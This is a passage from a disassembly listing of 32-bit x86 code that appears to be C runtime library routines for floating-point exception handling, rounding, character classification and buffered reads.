		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 266030Ch
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
